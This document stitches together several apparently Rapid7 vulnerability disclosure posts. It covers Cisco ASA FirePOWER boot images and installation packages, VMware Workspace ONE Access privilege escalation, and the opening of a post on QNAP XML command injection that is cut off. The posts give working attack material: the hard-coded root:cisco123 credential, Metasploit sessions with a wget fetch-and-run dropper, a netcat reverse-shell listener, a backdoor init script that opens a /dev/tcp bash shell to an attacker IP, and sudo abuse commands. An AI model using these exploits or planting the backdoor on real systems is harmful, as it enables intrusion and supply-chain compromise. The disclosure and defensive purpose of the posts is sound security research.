In the previous section, we learned about the Cisco FirePOWER module. In this section, it’s important to know how the FirePOWER module is installed. Installation is a three-step process:

  • Upload and start the FirePOWER boot image.
  • From the boot image, download and install the FirePOWER installation package.
  • From the FirePOWER module VM, install the latest updates.

CSCvu90861 concerns itself with a couple of issues associated with the boot image found in step 1. The boot image, once installed and running, can be entered using the Cisco ASA command session sfr console:

Rapid7 Discovered Vulnerabilities in Cisco ASA, ASDM, and FirePOWER Services Software

As you can see, the user is presented with a very limited CLI that largely only facilitates network troubleshooting and installing the FirePOWER installation package. Credentials are required to access this CLI. These credentials are well-documented across the various versions of the FirePOWER boot image (see “Set Up the ASA SFR Boot Image, Step 1”). However, what isn’t documented is that the credentials root:cisco123 will drop you down into a root bash shell.

Rapid7 Discovered Vulnerabilities in Cisco ASA, ASDM, and FirePOWER Services Software

The FirePOWER boot image, similar to the normal FirePOWER module, is networked. It can be configured to use DHCP or a static address, but either way, it has access to inside and outside of the ASA (assuming typical wiring). Again, a perfect staging area for an attacker and a pretty good place to hide.

Rapid7 Discovered Vulnerabilities in Cisco ASA, ASDM, and FirePOWER Services Software

We also discovered a command injection vulnerability associated with the system install command that yields the same result (root access on the boot image).

Rapid7 Discovered Vulnerabilities in Cisco ASA, ASDM, and FirePOWER Services Software

We wrote two SSH-based exploits that demonstrate exploitation of the boot image. The first is a stand-alone Python script, and the second is a Metasploit module. Exploitation takes about five minutes, so Metasploit output will have to suffice on this one:

albinolobster@ubuntu:~/metasploit-framework$ ./msfconsole 
                                                  
 ______________________________________
/ it looks like you're trying to run a \
\ module                               /
 --------------------------------------
 \
  \
     __
    /  \
    |  |
    @  @
    |  |
    || |/
    || ||
    |\_/|
    \___/


       =[ metasploit v6.2.5-dev-ed2c64bffd                ]
+ -- --=[ 2228 exploits - 1172 auxiliary - 398 post       ]
+ -- --=[ 863 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: You can pivot connections over sessions 
started with the ssh_login modules

[*] Starting persistent handler(s)...
msf6 > use exploit/linux/ssh/cisco_asax_firepower_boot_root
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > show options

Module options (exploit/linux/ssh/cisco_asax_firepower_boot_root):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   ENABLE_PASSWORD                   yes       The enable password
   IMAGE_PATH                        yes       The path to the image on the ASA (e.g. disk0:/asasfr-5500x-boot-6.2.3-4.img
   PASSWORD         cisco123         yes       The password for authentication
   RHOSTS                            yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT            22               yes       The target port (TCP)
   SRVHOST          0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT          8080             yes       The local port to listen on.
   SSL              false            no        Negotiate SSL for incoming connections
   SSLCert                           no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                           no        The URI to use for this exploit (default is random)
   USERNAME         cisco            yes       The username for authentication


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux Dropper


msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > set IMAGE_PATH disk0:/asasfr-5500x-boot-6.2.3-4.img
IMAGE_PATH => disk0:/asasfr-5500x-boot-6.2.3-4.img
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > set USERNAME albinolobster
USERNAME => albinolobster
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > set LHOST 10.12.70.252
LHOST => 10.12.70.252
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > set RHOST 10.12.70.253
RHOST => 10.12.70.253
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > run

[*] Started reverse TCP handler on 10.12.70.252:4444 
[*] Executing Linux Dropper for linux/x86/meterpreter/reverse_tcp
[*] Using URL: http://10.12.70.252:8080/ieXiNV
[*] 10.12.70.253:22 - Attempting to login...
[+] Authenticated with the remote server
[*] Resetting SFR. Sleep for 120 seconds
[*] Booting the image... this will take a few minutes
[*] Configuring DHCP for the image
[*] Dropping to the root shell
[*] wget -qO /tmp/scOKRuCR http://10.12.70.252:8080/ieXiNV;chmod +x /tmp/scOKRuCR;/tmp/scOKRuCR;rm -f /tmp/scOKRuCR
[*] Client 10.12.70.253 (Wget) requested /ieXiNV
[*] Sending payload to 10.12.70.253 (Wget)
[*] Sending stage (989032 bytes) to 10.12.70.253
[*] Meterpreter session 1 opened (10.12.70.252:4444 -> 10.12.70.253:53445) at 2022-07-05 07:37:22 -0700
[+] Done!
[*] Command Stager progress - 100.00% done (111/111 bytes)
[*] Server stopped.

meterpreter > shell
Process 2160 created.
Channel 1 created.
uname -a
Linux asasfr 3.10.107sf.cisco-1 #1 SMP PREEMPT Fri Nov 10 17:06:45 UTC 2017 x86_64 GNU/Linux
id
uid=0(root) gid=0(root)

This attack can be executed even if the FirePOWER module is installed. The attacker can simply uninstall the FirePOWER module and start the FirePOWER boot image (although that is potentially quite obvious depending on FirePOWER usage). However, this attack seems more viable as ASA-X ages and Cisco stops releasing new rules/updates for the FirePOWER module. Organizations will likely continue using ASA-X with FirePOWER Services without FirePOWER enabled/installed simply because they are “good” Cisco routers.

Malicious FirePOWER boot image

The interesting thing about vulnerabilities (or non-security issues depending on who you are talking to) affecting the FirePOWER boot image is that the Cisco ASA has no mechanism that prevents users from loading and executing arbitrary images. Cisco removed the hard-coded credentials and command injection in FirePOWER boot images >= 7.0.0, but an attacker can still load and execute an old FirePOWER boot image that still has the vulnerabilities.

In fact, there is nothing preventing a user from booting an image of their own creation. FirePOWER boot images are just bootable Linux ISO. We wrote a tool that will generate a bootable TinyCore ISO that can be executed on the ASA. The ISO, when booted, will spawn a reverse shell out to the attacker and start an SSH server, and it comes with DOOM-ASCII installed (in case you want to play DOOM on an ASA). The generated ISO is installed on the ASA just as any FirePOWER boot image would be:

albinolobster@ubuntu:~/pinchme$ ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 albinolobster@10.0.0.21
albinolobster@10.0.0.21's password: 
User albinolobster logged in to ciscoasa
Logins over the last 5 days: 42.  Last login: 23:41:56 UTC Jun 10 2022 from 10.0.0.28
Failed logins since the last login: 0.  Last failed login: 23:41:54 UTC Jun 10 2022 from 10.0.0.28
Type help or '?' for a list of available commands.
ciscoasa> en
Password: 
ciscoasa# copy http://10.0.0.28/tinycore-custom.iso disk0:/tinycore-custom.iso

Address or name of remote host [10.0.0.28]? 

Source filename [tinycore-custom.iso]? 

Destination filename [tinycore-custom.iso]? 

Accessing http://10.0.0.28/tinycore-custom.iso...!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Writing file disk0:/tinycore-custom.iso...
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
INFO: No digital signature found
76193792 bytes copied in 18.440 secs (4232988 bytes/sec)

ciscoasa# sw-module module sfr recover configure image disk0:/tinycore-custom.iso
ciscoasa# debug module-boot
debug module-boot  enabled at level 1
ciscoasa# sw-module module sfr recover boot

Module sfr will be recovered. This may erase all configuration and all data
on that device and attempt to download/install a new image for it. This may take
several minutes.

Recover module sfr? [confirm]
Recover issued for module sfr.
ciscoasa# Mod-sfr 177> ***
Mod-sfr 178> *** EVENT: Creating the Disk Image...
Mod-sfr 179> *** TIME: 15:12:04 UTC Jun 13 2022
Mod-sfr 180> ***
Mod-sfr 181> ***
Mod-sfr 182> *** EVENT: The module is being recovered.
Mod-sfr 183> *** TIME: 15:12:04 UTC Jun 13 2022
Mod-sfr 184> ***
Mod-sfr 185> ***
Mod-sfr 186> *** EVENT: Disk Image created successfully.
Mod-sfr 187> *** TIME: 15:13:42 UTC Jun 13 2022
Mod-sfr 188> ***
Mod-sfr 189> ***
Mod-sfr 190> *** EVENT: Start Parameters: Image: /mnt/disk0/vm/vm_1.img, ISO: -cdrom /mnt/disk0
Mod-sfr 191> /tinycore-custom.iso, Num CPUs: 3, RAM: 2249MB, Mgmt MAC: 00:FC:BA:44:54:31, CP MA
Mod-sfr 192> C: 00:00:00:02:00:01, HDD: -drive file=/dev/sda,cache=none,if=virtio, Dev Driver: 
Mod-sfr 193> vir
Mod-sfr 194> ***
Mod-sfr 195> *** EVENT: Start Parameters Continued: RegEx Shared Mem: 0MB, Cmd Op: r, Shared Me
Mod-sfr 196> m Key: 8061, Shared Mem Size: 16, Log Pipe: /dev/ttyS0_vm1, Sock: /dev/ttyS1_vm1, 
Mod-sfr 197> Mem-Path: -mem-path /hugepages
Mod-sfr 198> *** TIME: 15:13:42 UTC Jun 13 2022
Mod-sfr 199> ***
Mod-sfr 200> Status: Mapping host 0x2aab37e00000 to VM with size 16777216
Mod-sfr 201> Warning: vlan 0 is not connected to host network

Once the ISO is booted, a reverse shell is sent back to the attacker.

albinolobster@ubuntu:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.0.0.21 60579
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux box 3.16.6-tinycore #777 SMP Thu Oct 16 09:42:42 UTC 2014 i686 GNU/Linux
ifconfig
eth0      Link encap:Ethernet  HWaddr 00:00:00:02:00:01  
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:173 errors:0 dropped:164 overruns:0 frame:0
          TX packets:14 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:9378 (9.1 KiB)  TX bytes:4788 (4.6 KiB)

eth1      Link encap:Ethernet  HWaddr 00:FC:BA:44:54:31  
          inet addr:192.168.1.17  Bcast:192.168.1.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:14 errors:0 dropped:0 overruns:0 frame:0
          TX packets:11 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:1482 (1.4 KiB)  TX bytes:1269 (1.2 KiB)

eth2      Link encap:Ethernet  HWaddr 52:54:00:12:34:56  
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:14 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:0 (0.0 B)  TX bytes:4788 (4.6 KiB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

Once again, this presents a potential social engineering issue. An attacker that is able to craft their own malicious boot image needs only to convince an administrator to install it. However, an attacker cannot pre-install the image and provide the ASA to a victim because boot images are removed every time the ASA is rebooted.

Rapid7 Discovered Vulnerabilities in Cisco ASA, ASDM, and FirePOWER Services Software

Malicious FirePOWER installation package

As mentioned previously, step two of the FirePOWER installation process is to install the FirePOWER installation package. Some FirePOWER modules support two versions of the FirePOWER installation package:

Rapid7 Discovered Vulnerabilities in Cisco ASA, ASDM, and FirePOWER Services Software

The above code is taken from the FirePOWER boot image 6.2.3. We can see it supports two formats:

EncryptedContentSignedChksumPkgWrapper
ChecksumPkgWrapper

Without getting into the weeds on the details, EncryptedContentSignedChksumPkgWrapper is an overly secure format, and Cisco only appears to publish FirePOWER installation packages in that format. However, the boot images also support the insecure ChcksumPkgWrapper format. So, we wrote a tool that takes in a secure FirePOWER installation package, unpackages it, inserts a backdoor, and then repackages into the insecure package format.

albinolobster@ubuntu:~/whatsup/build$ ./whatsup -i ~/Desktop/asasfr-sys-5.4.1-211.pkg --lhost 10.0.0.28 --lport 1270
   __      __  __               __    __
  /\ \  __/\ \/\ \             /\ \__/\ \
  \ \ \/\ \ \ \ \ \___      __ \ \ ,_\ \/ ____
   \ \ \ \ \ \ \ \  _ `\  /'__`\\ \ \/\/ /',__\
    \ \ \_/ \_\ \ \ \ \ \/\ \L\.\\ \ \_ /\__, `\
     \ `\___x___/\ \_\ \_\ \__/.\_\ \__\\/\____/
      '\/__//__/  \/_/\/_/\/__/\/_/\/__/ \/___/
   __  __
  /\ \/\ \
  \ \ \ \ \  _____            jbaines-r7
   \ \ \ \ \/\ '__`\              🦞
    \ \ \_\ \ \ \L\ \      "What's going on?"
     \ \_____\ \ ,__/
      \/_____/\ \ \/
               \ \_\
                \/_/

[+] User provided package: /home/albinolobster/Desktop/asasfr-sys-5.4.1-211.pkg
[+] Copying the provided file to ./tmp
[+] Extracting decryption materials
[+] Attempting to decrypt the package... this might take 10ish minutes (and a lot of memory, sorry!)
[+] Successful decryption! Cleaning up extra files
[+] Unpacking...
... snip lots of annoying output ...
[+] Generating the data archive
[+] Creating new.pkg...
[+] Writing file and section headers
[+] Appending the compressed archive
[+] Appending the checksum section
[+] Completed new.pkg

The newly generated FirePOWER installation package can then be installed on the ASA as it normally would. And because it contains all the official installation package content, it will appear to be a normal installation to the user. However, this installation will include the following obviously malicious init script, which will try to connect back to an attacker IP every five minutes.

#!/bin/sh

source /etc/rc.d/init.d/functions
PATH="/usr/local/bin:/usr/bin:/bin:/usr/local/sf/bin:/sbin:/usr/sbin"

xploit_start() {
  (while true; do sleep 300; /bin/bash -i >& /dev/tcp/10.0.0.28/1270 0>&1; done)&
}

case "\$1" in
'start')
  xploit_start
  ;;
*)
  echo "usage $0 start|stop|restart"
esac

This malicious FirePOWER installation package is distributable via social engineering, and it can be used in supply chain attacks. The contents of the installation package survive reboots and upgrades. An attacker need only pre-install the FirePOWER module with a malicious version before providing it to the victim.

Rapid7 Discovered Vulnerabilities in Cisco ASA, ASDM, and FirePOWER Services Software

Mitigation and detection

Organizations that use Cisco ASA are urged to isolate administrative access as much as possible. That is not limited to simply, “Remove ASDM from the internet.” We’ve demonstrated a few ways malicious packages could reasonably end up on an ASA and none of those mechanisms have been patched. Isolating administrative access from potentially untrustworthy users is important.

Rapid7 has written some YARA rules to help detect exploitation or malicious packages:

Timeline

  • February 24, 2022 - Initial disclosure of ASDM packaging issues.
  • February 24, 2022 - Cisco opens a case (PSIRT-0917052332) and assigns CSCwb05264 and CSCwb05291 for ASDM issues.
  • February 29, 2022 - Cisco informs Rapid7 they have reached out to engineering. Raises concerns regarding 60-day timeline.
  • March 15, 2022 - Cisco reports they are actively working on the issue.
  • March 22, 2022 - Initial disclosure of ASA-X with FirePOWER Services issues and ASDM logging issue.
  • March 23, 2022 - Cisco acknowledges ASA-X issues and assigns PSIRT-0926201709.
  • March 25, 2022 - Cisco discusses their views on severity scoring and proposes disclosure dates for ASDM issues.
  • March 29, 2022 - Rapid7 offers extension on disclosure for both PSIRT issues.
  • April 7, 2022 - Rapid7 asks for an update.
  • April 7, 20222 - ASA-X issues moved to Cisco PSIRT member handling ASDM issues.
  • April 8, 2022 - Cisco indicates Spring4Shell is causing delays.
  • April 13, 2022 - Rapid7 asks for an update.
  • April 14, 2022 - Cisco indicates ASA-X issues are as designed. ASDM logging issue is a duplicate. Cisco agrees to new disclosure dates, clarification on six-month timelines, Vegas talks work to push things along!
  • April 14, 2022 - Rapid7 inquires if Cisco is talking about the same ASA-X model.
  • April 20, 2022 - Rapid7 proposes a June 20, 2022 disclosure. Again asks for clarification on the ASA-X model.
  • April 22, 2022 - Cisco reiterates ASA-X issues are not vulnerabilities.
  • April 22, 2022 - Rapid7 attempts to clarify that the ASA-X issues are vulnerabilities.
  • April 26, 2022 - Cisco plans partial disclosure of ASDM issues around June 20.
  • May 06, 2022 - Cisco reiterates no timeline for ASA checking ASDM signature. Cisco again reiterates ASA-X issues are not vulnerabilities.
  • May 06, 2022 - Rapid7 pushes back again on the ASA-X issues.
  • May 10, 2022 - Rapid7 asks for clarification on what is being fixed/disclosed on June 20.
  • May 11, 2022 - Rapid7 asks for clarity on ASA-X timeline and what is currently being considered a vulnerability.
  • May 18, 2022 - Cisco clarifies what is getting fixed for issues, what will receive CVEs, what is a "hardening effort."
  • May 18, 2022 - Rapid7 requests CVEs, asks about patch vs disclosure release date discrepancy. Rapid7 again reiterates ASA-X findings are vulnerabilities.
  • May 20, 2022 - Cisco indicates CVEs will be provided soon, indicates Cisco will now publish fixes and advisories on June 21. Cisco reiterates they do not consider boot image issues vulnerabilities. Cisco asks who to credit.
  • May 25, 2022 - Rapid7 indicates credit to Jake Baines.
  • May 25, 2022 - CVE-2022-20828 and CVE-2022-20829 assigned, Cisco says their disclosure date is now June 22.
  • May 26, 2022 - Rapid7 agrees to June 22 Cisco disclosure, requests if there is a disclosure date for ASA side of ASDM signature fixes.
  • May 31, 2022 - Cisco indicates ASA side of fixes likely coming August 11.
  • June 09, 2022 - Rapid7 questions the usefulness of boot image hardening. Observes the ASA has no mechanism to prevent literally any bootable ISO from booting (let alone old Cisco-provided ones).
  • June 09, 2022 - Cisco confirms boot images are not phased out and does not consider that to be a security issue.
  • June 09, 2022 - Rapid7 reiterates that the ASA will boot any bootable image and that attackers could distribute malicious boot images / packages and the ASA has no mechanism to prevent that.
  • June 13, 2022 - Rapid7 finally examines Cisco's assertions regarding the ASDM log password leak being a duplicate and finds it to be incorrect.
  • June 15, 2022 - Cisco confirms the password leak in 7.17(1) as originally reported.
  • June 22, 2022 - Cisco confirms password leak fix will be published in upcoming release.
  • June 23, 2022 - Cisco publishes advisories and bugs.
  • June 23, 2022 - Rapid7 asks if CVE-2021-1585 was fixed.
  • June 23, 2022 - Cisco says it was.
  • June 23, 2022 - Rapid7 says it wasn't. Asks Cisco if we should open a new PSIRT ticket.
  • June 23, 2022 - Cisco indicates current PSIRT thread is fine.
  • June 23, 2022 - Rapid7 provides details and video.
  • June 23, 2022 - Cisco acknowledges.
  • July 05, 2022 - Rapid7 asks for an update on CVE-2021-1585 patch bypass.
  • July 25, 2022 - Cisco provides Rapid7 with test versions of ASDM.
  • July 26, 2022 - Rapid7 downloads the test version of ASDM.
  • August 1, 2022 - Rapid7 lets Cisco know that team time constraints may prevent us from completing testing.
  • August 1, 2022 - Cisco acknowledges.
  • August 10, 2022 - Rapid7 updates Cisco on publication timing and reconfirms inability to complete testing of new build.
  • August 11, 2022 - Cisco communicates to Rapid7 that they have released new Software images for ASA (9.18.2, 9.17.1.13, 9.16.3.19) and ASDM (7.18.1.152) and updated the advisories for CVE-2022-20829 and CVE-2021-1585 to note that the vulnerabilities have been resolved.
  • August 11, 2022 - Rapid7 acknowledges, notifies Cisco that we are unable to verify the latest round of fixes before materials go to press.
  • August 11, 2022 - This document is published.
  • August 11, 2022 - Rapid7 presents materials at Black Hat USA.
  • August 13, 2022 - Rapid7 presents materials at DEF CON.

Rapid7 customers

Authenticated checks were made available to InsightVM and Nexpose customers for the following CVEs in July 2022 based on Cisco's security advisories:

Please note: Shortly before this blog's publication, Cisco released new ASA and ASDM builds and updated their advisories to indicate that remediating CVE-2021-1585 and CVE-2022-20829 requires these newer versions. We are updating our vulnerability checks to reflect that these newer versions contain what Cisco has communicated to be the proper fixes.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.


CVE-2022-31660 and CVE-2022-31661 (FIXED): VMware Workspace ONE Access, Identity Manager, and vRealize Automation LPE

The VMware Workspace ONE Access, Identity Manager, and vRealize Automation products contain a locally exploitable vulnerability whereby the under-privileged horizon user can escalate their permissions to those of the root user. Notably, the horizon user runs the externally accessible web application. This means that remote code execution (RCE) within that component could be chained with this vulnerability to obtain remote code execution as the root user. At the time of this writing, CVE-2022-22954 is one such RCE vulnerability (that notably has a corresponding Metasploit module here) that can be easily chained with one or both of the issues described herein.

Product description

VMWare Workspace ONE Access is a platform that provides organizations with the means to provide their employees fast and easy access to applications they need. VMware Workspace ONE Access was formerly known as VMware Identity Manager.

Impact

These vulnerabilities are local privilege escalation flaws, and by themselves, present little risk in an otherwise secure environment. In both cases, the local user must be horizon for successful exploitation.

That said, it’s important to note that the horizon user runs the externally accessible web application, which has seen several recent vulnerabilities — namely CVE-2022-22954, which, when exploited, allows for remote code execution as the horizon user. Thus, chaining an exploit for CVE-2022-22954 with either of these vulnerabilities can allow a remote attacker to go from no access to root access in two steps.

Credit

These issues were disclosed by VMware on Tuesday, August 2, 2022 within the VMSA-2022-0021 bulletin. In June, Spencer McIntyre of Rapid7 discovered these issues while researching an unrelated vulnerability. They were disclosed in accordance with Rapid7’s vulnerability disclosure policy.

CVE-2022-31660

CVE-2022-31660 arises from the fact that the permissions on the file /opt/vmware/certproxy/bin/cert-proxy.sh are such that the horizon user is both the owner and has access to invoke this file.

To demonstrate and exploit this vulnerability, that file is overwritten, and then the following command is executed as the horizon user:

sudo /usr/local/horizon/scripts/certproxyService.sh restart

Note that, depending on the patch level of the system, the certproxyService.sh script may be located at an alternative path and require a slightly different command:

sudo /opt/vmware/certproxy/bin/certproxyService.sh restart

In both cases, the horizon user is able to invoke the certproxyService.sh script from sudo without a password. This can be verified by executing sudo -n --list. The certproxyService.sh script invokes the systemctl command to restart the service based on its configuration file. The service configuration file, located at /run/systemd/generator.late/vmware-certproxy.service, dispatches to /etc/rc.d/init.d/vmware-certproxy through the ExecStart and ExecStop directives, which in turn executes /opt/vmware/certproxy/bin/cert-proxy.sh.

Proof of concept

To demonstrate this vulnerability, a Metasploit module was written and submitted on GitHub in PR #16854.

With an existing Meterpreter session, no options other than the SESSION need to be specified. Everything else will be automatically determined at runtime. In this scenario, the original Meterpreter session was obtained with the module for CVE-2022-22954, released earlier this year.

[*] Sending stage (40132 bytes) to 192.168.159.98
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.98:42312) at 2022-08-02 16:26:16 -0400

meterpreter > sysinfo
Computer        : photon-machine
OS              : Linux 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: horizon
meterpreter > background 
[*] Backgrounding session 1...
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > use exploit/linux/local/vmware_workspace_one_access_certproxy_lpe 
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > set SESSION -1
SESSION => -1
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > run

[*] Started reverse TCP handler on 192.168.250.134:4444 
[*] Backing up the original file...
[*] Writing '/opt/vmware/certproxy/bin/cert-proxy.sh' (601 bytes) ...
[*] Triggering the payload...
[*] Sending stage (40132 bytes) to 192.168.250.237
[*] Meterpreter session 2 opened (192.168.250.134:4444 -> 192.168.250.237:63493) at 2022-08-02 16:26:57 -0400
[*] Restoring file contents...
[*] Restoring file permissions...

meterpreter > getuid
Server username: root
meterpreter >

CVE-2022-31661

CVE-2022-31660 arises from the fact that the /usr/local/horizon/scripts/getProtectedLogFiles.hzn script can be run with root privileges without a password using the sudo command. This script in turn will recursively change the ownership of a user-supplied directory to the horizon user, effectively granting them write permissions to all contents.

To demonstrate and exploit this vulnerability, we can execute the following command as the horizon user:

sudo /usr/local/horizon/scripts/getProtectedLogFiles.hzn exportProtectedLogs /usr/local/horizon/scripts/

At this point, the horizon user has write access (through ownership) to a variety of scripts that also have the right to invoke using sudo without a password. These scripts can be verified by executing sudo -n --list. A careful attacker would have backed up the ownership information for each file in the directory they intend to target and restored them once they had obtained root-level permissions.

The root cause of this vulnerability is that the exportProtectedLogs subcommand invokes the getProtectedLogs function that will change the ownership information to the TOMCAT_USER, which happens to be horizon.

Excerpt from getProtectedLogFiles.hzn:

function getProtectedLogs()
{
    chown ${TOMCAT_USER}:${TOMCAT_GROUP} $TARGET_DIR_LOCATION
    rm -f $TARGET_DIR_LOCATION/messages*
    rm -f $TARGET_DIR_LOCATION/boot*
    rm -rf $TARGET_DIR_LOCATION/journal*

    cp $VAR_LOG_MESSAGES* $TARGET_DIR_LOCATION
    cp $BOOT_LOG_MESSAGES* $TARGET_DIR_LOCATION
    chown -R ${TOMCAT_USER}:${TOMCAT_GROUP} $TARGET_DIR_LOCATION/

}

Remediation

Users should apply patches released in VMSA-2022-0021 to remediate these vulnerabilities. If they are unable to, users should segment the appliance from remote access, especially if known issues in the web front end like CVE-2022-22954 also remain unpatched.

Note that fixing these vulnerabilities helps shore up internal, local defenses against attacks targeting external interfaces. For practical purposes, these issues are merely internal, local privilege escalation issues, so enterprises running VMWare Workspace One Access installations with current patch levels should schedule updates addressing these issues as part of routine patch cycles.

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to vulnerabilities described in VMSA-2022-0021 with authenticated, version-based coverage released on August 4, 2022 (ContentOnly-content-1.1.2606-202208041718).

Disclosure timeline

  • May 20, 2022 - Issue discovered by Spencer McIntyre of Rapid7
  • June 28, 2022 - Rapid7 discloses the vulnerability to VMware
  • June 29, 2022 - VMware acknowledges receiving the details and begins an * investigation
  • June 30, 2022 - VMware confirms that they have reproduced the issues, requests that Rapid7 not involve CERT for simplicity’s sake
  • July 1, 2022 - Rapid7 replies, agreeing to leave CERT out
  • July 22, 2022 - VMware states they will publish an advisory once the issues have been fixed, asks whom to credit
  • July 22, 2022 - Rapid7 responds confirming credit, inquires about a target date for a fix
  • August 2, 2022 - VMware discloses these vulnerabilities as part of VMSA-2022-0021 (without alerting Rapid7 of pending disclosure)
  • August 2, 2022 - Metasploit module submitted on GitHub in PR #16854
  • August 5, 2022 - This disclosure blog

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.


Background

QNAP Poisoned XML Command Injection (Silently Patched)

CVE-2020-2509 was added to CISA’s Known Exploited Vulnerabilities Catalog in April 2022, and it was listed as one of the “Additional Routinely Exploited Vulnerabilities in 2021” in CISA’s 2021 Top Routinely Exploited Vulnerabilities alert. However, CVE-2020-2509 has no public exploit, and no other organizations have publicly confirmed exploitation in the wild.

QNAP Poisoned XML Command Injection (Silently Patched)

CVE-2020-2509 is allegedly an unauthenticated remote command injection vulnerability affecting QNAP Network Attached Storage (NAS) devices using the QTS operating system. The vulnerability was discovered by SAM and publicly disclosed on March 31, 2021. Two weeks later, QNAP issued a CVE and an advisory.

Neither organization provided a CVSS vector to describe the vulnerability. QNAP’s advisory doesn’t even indicate the vulnerable component. SAM’s disclosure says they found the vulnerability when they “fuzzed” the web server’s CGI scripts (which is not generally the way you discover command injection vulnerabilities, but I digress). SAM published a proof-of-concept video that allegedly demonstrates exploitation of the vulnerability, although it doesn’t appear to be a typical straightforward command injection. The recorded exploit downloads BusyBox to establish a reverse shell, and it appears to make multiple requests to accomplish this. That’s many more moving parts than a typical command injection exploit. Regardless, beyond affected versions, there are essentially no usable details for defender or attackers in either disclosure.

Given the ridiculous amount of internet-facing QNAP NAS (350,000+), seemingly endless ransomware attacks on the systems (Qlocker, Deadbolt, and Checkmate), and the mystery surrounding alleged exploitation in the wild of CVE-2020-2509, we decided to find out exactly what CVE-2020-2509 is. Instead, we found the below, which may be an entirely new vulnerability.

Poisoned XML command injection (CVE-2022-XXXX)

QNAP Poisoned XML Command Injection (Silently Patched)

The video demonstrates exploitation of an unauthenticated and remote command injection vulnerability on a QNAP TS-230 running QTS 4.5.1.1480 (reportedly the last version affected by CVE-2020-2509). We were unable to obtain the first patched version, QTS 4.5.1.1495, but we were able to confirm this vulnerability was patched in QTS 4.5.1.1540. However, we don’t think this is CVE-2020-2509. The exploit in the video requires the attacker be a man-in-the-middle or have performed a DNS hijack of update.qnap.com. In the video, our lab network’s Mikrotik router has a malicious static DNS entry for update.qnap.com.

QNAP Poisoned XML Command Injection (Silently Patched)

SAM and QNAP’s disclosures didn’t mention any type of man-in-the-middle or DNS hijacks. But neither disclosure ruled it out either. CVSS vectors are great for this sort of thing. If either organization had published a vector with an Attack Complexity of high, we’d know this “new” vulnerability is CVE-2020-2509. If they’d published a vector with Attack Complexity of low, we’d know this “new” vulnerability is not CVE-2020-2509. The lack of a vector leaves us unsure. Only CISA’s claim of widespread exploitation leads us to believe this is not is CVE-2020-2509. However, this “new” vulnerability is still a high-severity issue. It could reasonably be scored as CVSSv3 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H). While the issue was patched 15 to 20 months ago (patches for CVE-2021-2509 were released in November 2020 and April 2021), there are still thousands of internet-facing QNAP devices that remain unpatched against this “new” issue. As such, we are going to describe the issue in more detail.

Exploitation and patch

The “new” vulnerability can be broken down into two parts:

A remote and unauthenticated attacker can force a QNAP device to make an HTTP request to update.qnap.com, without using SSL, in order to download an XML file. Content from the downloaded XML file is passed to a system call without any sanitization.

Both of these issues can be found in the QNAP’s web server cgi-bin executable authLogin.cgi, but the behavior is triggered by a request to /cgi-bin/qnapmsg.cgi. Below is decompiled code from authLogin.cgi that highlights the use of HTTP to fetch a file.

QNAP Poisoned XML Command Injection (Silently Patched)

Using wget, the QNAP device will download a language-specific XML file such as http://update.qnap.com/loginad/qnapmsg_eng.xml, where eng can be a variety of different values (cze, dan, ger, spa, fre, ita, etc.). When the XML has been downloaded, the device then parses the XML file. When the parser encounters <img> tags, it will attempt to download the associated image using wget.

